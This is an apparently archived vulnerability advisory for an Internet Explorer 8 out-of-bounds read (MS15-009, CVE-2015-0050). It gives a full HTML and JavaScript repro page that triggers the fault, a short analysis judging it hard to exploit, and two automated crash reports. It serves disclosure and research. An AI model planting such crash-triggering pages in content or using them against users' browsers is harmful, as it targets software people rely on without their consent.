This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

MSIE 8 MSHTML SRun­Pointer::Span­Qualifier/Run­Type OOB read

(MS15-009, CVE-2015-0050)

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable.

Known affected software, attack vectors and mitigations

Repro.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <style> position_­fixed { position: fixed; } position_­relative { position: relative; } float_­left { float: left; } complex { float: left; width: 100%; } complex:first-line { clear: left; } </style> <script> window.onload = function boom() { o­Element_­float_­left = document.create­Element('float_­left'); o­Element_­complex = document.create­Element('complex'); o­Element_­position_­fixed = document.create­Element('position_­fixed'); o­Element_­position_­relative = document.create­Element('position_­relative'); o­Element_­table = document.create­Element('table'); o­Element_­x = document.create­Element('x'); o­Text­Node = document.create­Text­Node('x'); document.document­Element.append­Child(o­Element_­float_­left); o­Element_­float_­left.append­Child(o­Element_­complex); o­Element_­float_­left.append­Child(o­Text­Node); o­Element_­complex.append­Child(o­Element_­position_­fixed); o­Element_­complex.append­Child(o­Element_­position_­relative); o­Element_­complex.append­Child(o­Element_­table); o­Element_­complex.append­Child(o­Element_­x); set­Timeout(function() { o­Element_­x.set­Attribute('class', 'x'); set­Timeout(function() { alert(); document.write(0); }, 0); }, 0); } </script> </head> </html>

Description

The issue requires rather complex manipulation of the DOM and results in reading a value immediately following an object. The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other.

Time-line

Bug­Id report: mshtml.dll!SRun­Pointer::Run­Type Arbitrary~F10 AVR(6045E7D8) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             mshtml.dll!SRun­Pointer::Run­Type Arbitrary~F10 AVR(6045E7D8)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0E42CF10) in mshtml.dll!SRun­Pointer::Run­Type
note:           Based on this information, this is expected to be a security issue!
Bug­Id report: mshtml.dll!SRun­Pointer::Span­Qualifier Arbitrary~F10 AVR(F5C086DB) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             mshtml.dll!SRun­Pointer::Span­Qualifier Arbitrary~F10 AVR(F5C086DB)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0B50DF10) in mshtml.dll!SRun­Pointer::Span­Qualifier
note:           Based on this information, this is expected to be a security issue!
© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.